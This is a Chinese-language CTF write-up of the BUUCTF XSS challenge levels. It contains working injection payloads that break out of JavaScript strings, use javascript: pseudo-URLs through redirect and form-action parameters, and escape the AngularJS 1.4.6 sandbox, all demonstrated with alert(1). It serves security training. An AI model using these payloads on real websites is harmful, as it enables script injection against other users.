buuctf 刷題記錄 [第二章 web進階]XSS闖關
第一關
第二關
查看源代碼
換個username
試試
接下來的思路是嘗試閉合var username = '';
並和最后面的</script>
方法失敗,因有一個escape函數
改用直接alert
的方式
payload:
?username=';alert(1);//
閉合了var username =
前半個單引號,執行alert函數(因為是處於<script></script>
函數)然后閉合后面的所有css源碼
第三關
不用管后面的代碼,直接注釋掉,開頭使用了兩個‘
包裹
所以使用兩個''
閉合即可
payload:
'';alert(1);//
第四關
頁面10秒后會重定向
這里有一個知識點:
偽鏈接
javascript:alert(1),瀏覽器會把javascript后面的那一段內容當做代碼,直接在當前頁面執行。
直接javascript代碼利用重定向
payload:
?jumpUrl=javascript:alert(1)
其實這關也有個暗示,就是沒有username
了
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
第五關
兩個判斷
首先接受參數autosubmit
判斷autosubmit
是否等於false
不是的話,繼續執行
接下來判斷variable
用=
作為分隔
payload:
?autosubmit=1&action=javascript:alert(1)
第六關
這是一個
AngularJS 1.4.6框架
參考:
AngularJS XSS
因為版本是1.4.6所以需要沙箱逃逸
AngularJS Sandbox Bypasses
具體就不研究了,xss價值不太大
payload:
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}